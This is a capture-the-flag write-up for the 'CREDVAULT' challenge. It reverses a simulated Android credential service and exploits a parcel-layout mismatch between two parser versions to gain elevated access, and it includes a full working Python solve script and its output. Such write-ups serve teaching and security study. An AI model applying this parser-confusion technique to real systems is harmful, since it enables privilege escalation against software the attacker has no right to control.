CREDVAULT (OmniCTF 2026 Quals) — Android Parcel Format Mismatch

A stripped Linux ELF simulating com.android.credentialservice.CredVaultService. Two Parcel parsers operate on the same 24-byte blob with different field layouts — v1 has a format_tag prefix that v2 removed. The elevation handler passes cred_buf to the v2 parser instead of cred_buf + 4, shifting every v2 field by one slot. Setting user_uid = AUTH_ELEVATED satisfies v1 (field is unchecked) and satisfies v2's auth_level check at the same time.

Challenge setup

You get credvault — a stripped x86-64 Linux ELF simulating an Android system service that issues elevated credential tokens. The server runs your solve.py against a live instance listening on loopback and streams stdout back. Flag comes out of OP_READ_KEY only after a successful elevation sequence.

Binary TCP, little-endian:

  • Request: uint32_t op_code | uint32_t in_len | data[in_len]
  • Response: uint32_t status | uint32_t out_len | data[out_len]
| Code         | Name             | Input               |
|--------------|------------------|---------------------|
| 0xCA000001   | OP_CONNECT       | -                   |
| 0xCA000002   | OP_WRITE_CRED    | 24-byte Parcel blob |
| 0xCA000003   | OP_VALIDATE_CRED | -                   |
| 0xCA000004   | OP_ELEVATE_CRED  | -    <-- vulnerable |
| 0xCA000005   | OP_READ_KEY      | -                   |

Step 1 — reversing credvault

Load in IDA or Ghidra. Find the main dispatch loop over the five op codes. Two __attribute__((noinline)) functions are called from the OP_ELEVATE_CRED handler — these are the two Parcel parsers.

validate_credential_v1

Reads a 24-byte cred_v1_t struct:

typedef struct {
    uint32_t format_tag;   /* [+0]   must == 0xCA110001 (FORMAT_LEGACY) */
    uint32_t user_uid;     /* [+4]   unchecked                          */
    uint32_t auth_level;   /* [+8]   must == 0x00000001 (AUTH_STANDARD) */
    uint32_t grant_bits;   /* [+12]  must == 0                          */
    uint32_t padding;      /* [+16]  must == 0                          */
    uint32_t checksum;     /* [+20]  must == XOR(all five fields above) */
} cred_v1_t;

user_uid at offset +4 is explicitly not checked. All other fields are validated before reaching the checksum.

elevate_credential_v2

Reads a 16-byte cred_v2_t struct — format_tag was removed in v2:

typedef struct {
    uint32_t user_uid;     /* [+0]  unchecked              */
    uint32_t auth_level;   /* [+4]  must == 0xCA110042     */
    uint32_t grant_bits;   /* [+8]  reserved               */
    uint32_t padding;      /* [+12] reserved               */
} cred_v2_t;

The only check is p->auth_level != AUTH_ELEVATED. Find AUTH_ELEVATED = 0xCA110042 as a CMP immediate in the disassembly.

Step 2 — the mismatch bug

In the OP_ELEVATE_CRED handler:

if (elevate_credential_v2(conn->cred_buf, conn->cred_len)) {   /* should be cred_buf + 4 */
    conn->elevated = 1;
    ...

The missing +4 means v2 receives the raw buffer starting at offset 0, not at offset 4 where the v2 layout actually begins. Every v2 field is shifted one slot left relative to what v2 expects:

Offset   v1 name        v2 name (what v2 actually reads)
[+0]     format_tag     user_uid
[+4]     user_uid   --> auth_level   <-- v2 checks this for 0xCA110042
[+8]     auth_level     grant_bits
[+12]    grant_bits     padding
[+16]    padding        (end of v2)
[+20]    checksum
Setting auth_level = AUTH_ELEVATED at the v1 layout position (+8) does not work — v1 checks auth_level == AUTH_STANDARD (0x00000001) and rejects it. The only unchecked field in v1 is user_uid at +4, which happens to be exactly where v2 reads auth_level.

Step 3 — crafting the exploit Parcel

Set user_uid = AUTH_ELEVATED = 0xCA110042. v1 ignores it, v2 reads it as auth_level and grants elevation. The checksum ties it together — compute it as XOR over all five v1 fields:

FORMAT_LEGACY = 0xCA110001
AUTH_STANDARD = 0x00000001
AUTH_ELEVATED = 0xCA110042

fmt  = FORMAT_LEGACY
uid  = AUTH_ELEVATED   # v2 reads this as auth_level
auth = AUTH_STANDARD   # v1 checks this at +8
gb   = 0
pad  = 0
csum = fmt ^ uid ^ auth ^ gb ^ pad   # = 0x00000042

parcel = struct.pack('<IIIIII', fmt, uid, auth, gb, pad, csum)

v1 sees: format_tag=FORMAT_LEGACY, auth_level=AUTH_STANDARD, grant_bits=0, padding=0, checksum=0x42 — all pass.
v2 sees at offset +4: 0xCA110042 = AUTH_ELEVATED — elevation granted.

Step 4 — solve.py

Required sequence: OP_CONNECT -> OP_WRITE_CRED -> OP_VALIDATE_CRED -> OP_ELEVATE_CRED -> OP_READ_KEY.

#!/usr/bin/env python3
"""
solve.py -- CredVault CTF challenge solution

Usage:
    python3 solve.py <host> <port>
"""
import socket, struct, sys

FORMAT_LEGACY = 0xCA110001
AUTH_STANDARD = 0x00000001
AUTH_ELEVATED = 0xCA110042

OP_CONNECT       = 0xCA000001
OP_WRITE_CRED    = 0xCA000002
OP_VALIDATE_CRED = 0xCA000003
OP_ELEVATE_CRED  = 0xCA000004
OP_READ_KEY      = 0xCA000005

STATUS_OK = 0x00000000


def send_req(s, op, data=b''):
    s.sendall(struct.pack('<II', op, len(data)) + data)


def recv_resp(s):
    buf = b''
    while len(buf) < 8:
        chunk = s.recv(8 - len(buf))
        if not chunk:
            raise ConnectionError('server closed')
        buf += chunk
    st, ln = struct.unpack('<II', buf)
    data = b''
    while len(data) < ln:
        chunk = s.recv(ln - len(data))
        if not chunk:
            raise ConnectionError('server closed')
        data += chunk
    return st, data


def build_parcel():
    fmt  = FORMAT_LEGACY
    uid  = AUTH_ELEVATED   # v2 reads this as auth_level
    auth = AUTH_STANDARD   # v1 checks this at +8
    gb   = 0
    pad  = 0
    csum = fmt ^ uid ^ auth ^ gb ^ pad
    return struct.pack('<IIIIII', fmt, uid, auth, gb, pad, csum)


def solve(host, port):
    s = socket.create_connection((host, port), timeout=30)

    send_req(s, OP_CONNECT)
    st, d = recv_resp(s)
    assert st == STATUS_OK, f'CONNECT: {st:#X}'
    sid = struct.unpack('<I', d)[0]
    print(f'[*] connected  session=0x{sid:08X}')

    parcel = build_parcel()
    send_req(s, OP_WRITE_CRED, parcel)
    st, _ = recv_resp(s)
    assert st == STATUS_OK, f'WRITE_CRED: {st:#X}'
    print(f'[*] credential written  ({len(parcel)} bytes)')
    print(f'    format_tag=0x{FORMAT_LEGACY:08X}  user_uid=0x{AUTH_ELEVATED:08X}')
    print(f'    auth_level=0x{AUTH_STANDARD:08X}  checksum=0x{FORMAT_LEGACY^AUTH_ELEVATED^AUTH_STANDARD:08X}')

    send_req(s, OP_VALIDATE_CRED)
    st, _ = recv_resp(s)
    assert st == STATUS_OK, f'VALIDATE_CRED: {st:#X}'
    print('[*] v1 validation: PASS')

    send_req(s, OP_ELEVATE_CRED)
    st, _ = recv_resp(s)
    assert st == STATUS_OK, f'ELEVATE_CRED: {st:#X}'
    print('[+] v2 elevation: GRANTED  (parcel mismatch triggered)')

    send_req(s, OP_READ_KEY)
    st, data = recv_resp(s)
    assert st == STATUS_OK, f'READ_KEY: {st:#X}'
    print(f'[+] {data.decode()}')

    s.close()


def main():
    if len(sys.argv) != 3:
        sys.exit(f'usage: python3 {sys.argv[0]} <host> <port>')
    solve(sys.argv[1], int(sys.argv[2]))


if __name__ == '__main__':
    main()

Expected output:

[*] connected  session=0xCA1DCAFE
[*] credential written  (24 bytes)
    format_tag=0xCA110001  user_uid=0xCA110042
    auth_level=0x00000001  checksum=0x00000042
[*] v1 validation: PASS
[+] v2 elevation: GRANTED  (parcel mismatch triggered)
[+] CTF{<64 hex chars>}

Why this bug class matters

Android Parcel format mismatches have been an active production CVE class for over a decade. The mechanism here is structurally identical to each of these:

  • CVE-2021-0928: writeToParcel/createFromParcel field ordering mismatch in OutputConfiguration — privilege escalation from app to system.
  • CVE-2023-20963: WorkSource parcel/unparcel logic mismatch — exploited in the wild to bypass the Android application sandbox.
  • CVE-2024-49746: Parcel::continueWrite reads from a different field layout than the writer — FD confusion and privilege escalation.

The root cause is always the same: a shared forwarding path passes the raw buffer to both parser versions without adjusting the pointer to match the newer layout. The fix here is one line: cred_buf + 4 instead of cred_buf.